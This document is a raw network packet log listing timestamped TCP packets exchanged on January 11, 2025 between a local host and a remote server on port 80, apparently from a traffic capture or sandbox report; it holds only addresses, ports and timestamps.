Jan 11, 2025 08:05:42.431962967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.431982040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.431998968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.432046890 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.432343960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.432373047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.432490110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.453988075 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454062939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454099894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454133034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454169989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454204082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454204082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454204082 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454257965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454288006 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454320908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454329967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454329967 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454360008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454410076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454552889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454610109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454643965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454675913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454689026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454709053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454741001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454762936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.454775095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.454813004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.455564022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.455578089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.455594063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.455607891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.455622911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.455626965 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.455683947 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.455698013 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.464720964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464745045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464760065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464773893 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464788914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464802980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464816093 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.464843035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.464886904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.465097904 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.465112925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.465126991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.465140104 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.465161085 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487027884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487061977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487112999 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487145901 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487166882 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487179041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487212896 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487257957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487257957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487297058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487345934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487396002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487454891 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487504959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487539053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487571001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487603903 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487621069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487621069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.487637043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.487688065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.488105059 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488154888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488190889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488213062 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.488224983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488257885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488276958 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.488290071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488322973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488339901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.488356113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488404989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.488881111 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488929987 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488965034 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.488997936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489027023 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.489031076 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489044905 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.489079952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489181042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.489639044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489671946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489705086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489726067 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.489753962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489789009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489809990 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.489821911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489856005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489887953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489921093 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.489931107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.489931107 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.490474939 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490509033 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490542889 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490564108 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.490618944 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.490641117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490673065 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490705013 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490736961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490761042 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.490771055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490803957 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.490830898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.490859985 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.491496086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491544008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491579056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491595984 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.491610050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491642952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491674900 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491708040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491735935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.491735935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.491739988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491774082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.491837978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.492409945 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492523909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492539883 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.492573977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492611885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492644072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492652893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.492676973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492710114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492742062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492748976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.492748976 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.492778063 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.492832899 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.493408918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493460894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493510008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493519068 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.493541956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493575096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493607044 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493612051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.493638992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493668079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.493670940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493701935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.493760109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.522140980 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522171021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522206068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522253036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.522253036 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.522325993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522357941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522392035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522423029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522424936 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.522456884 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.522541046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544460058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544526100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544560909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544595003 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544598103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544631004 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544663906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544676065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544677019 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544698954 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544743061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544753075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544791937 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544825077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544856071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544857979 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544891119 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544924021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544931889 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.544975996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.544987917 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.545010090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545042038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545068026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.545090914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545123100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545130014 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.545157909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545190096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545223951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.545236111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.545294046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.555552959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555625916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555661917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555695057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555727005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.555752993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555785894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555819035 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555829048 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.555830002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.555851936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555876970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555890083 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555897951 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.555905104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555917978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555932045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555949926 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.555957079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.555957079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.556008101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.577754974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577791929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577811956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577827930 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577842951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577857971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577872038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577888012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577904940 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577919006 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.577920914 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577936888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577961922 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577976942 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.577994108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578010082 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578043938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578043938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578043938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578269005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578314066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578331947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578336954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578355074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578370094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578375101 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578438997 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578438997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578454018 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578469992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578484058 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578500032 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578505993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578512907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578655005 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.578907967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578926086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578943968 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.578957081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.579010963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.579010963 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:42.795727015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:42.795798063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.095345020 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100301027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100367069 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100404024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100454092 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100462914 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100505114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100516081 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100538969 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100572109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100591898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100605011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100636959 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100645065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100668907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100702047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100733042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100743055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100768089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100800037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100810051 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100833893 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.100864887 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100898981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100931883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.100981951 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101015091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101022959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101022959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101047993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101080894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101113081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101144075 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101146936 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101155043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101178885 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101212025 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101216078 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101243019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101274967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101306915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101337910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101341009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101341009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101371050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101402998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101433992 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101445913 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101466894 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101500034 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101502895 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101557016 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101706982 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101739883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101788998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101800919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101821899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101855993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101887941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101892948 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101938009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.101965904 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.101970911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102005005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102051973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102085114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 11, 2025 08:05:43.102093935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102093935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 11, 2025 08:05:43.102117062 CET	80	49704	193.143.1.205	192.168.2.8
